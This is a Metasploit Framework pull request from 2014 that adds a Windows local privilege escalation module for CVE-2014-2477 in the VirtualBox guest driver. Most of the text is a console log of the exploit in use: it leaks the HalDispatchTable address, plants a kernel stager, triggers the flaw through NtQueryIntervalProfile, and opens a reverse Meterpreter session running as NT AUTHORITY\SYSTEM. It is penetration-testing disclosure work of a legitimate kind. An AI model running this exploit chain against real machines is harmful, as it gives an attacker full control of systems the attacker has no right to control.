rapid7/metasploit-framework — pull request #3534 by KoreLogicSecurity (2014-07-16 14:54:49+00:00)
Title: Add CVE-2014-2477 local privilege escalation

This module is for a local privilege escalation for the vulnerability
CVE-2014-2477.

Showing the exploit in action with sessions being created:

msf exploit(handler) > use exploit/windows/local/vbox_guest
msf exploit(vbox_guest) >
[*] Sending stage (769536 bytes) to 192.168.5.10
[*] Meterpreter session 1 opened (192.168.5.10:4445 -> 192.168.5.10:47992) at 2014-07-15 09:39:00 -0400

msf exploit(vbox_guest) > set SESSION 1
SESSION => 1
msf exploit(vbox_guest) > rexploit -j
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.5.10:4444
msf exploit(vbox_guest) > [*] Detecting the target system...
[*] "Windows XP (Build 2600, Service Pack 3)."
[*] Running against Windows XP SP3
[*] Checking device...
[+] \\.\vboxguest found!
[*] Disclosing the HalDispatchTable address...
[+] Address successfully disclosed.
[*] Storing the shellcode in memory...
[+] Kernel stager successfully stored at 0x1
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Injecting 287 bytes to memory and executing it...
[*] Sending stage (769536 bytes) to 192.168.5.10
[+] Enjoy
[*] Meterpreter session 2 opened (192.168.5.10:4444 -> 192.168.5.10:54982) at 2014-07-15 09:40:15 -0400

msf exploit(vbox_guest) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 WCB614-J20\kore @ WCB614-J20 192.168.5.10:4445 -> 192.168.5.10:47992 (10.0.2.15)
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WCB614-J20 192.168.5.10:4444 -> 192.168.5.10:54982 (10.0.2.15)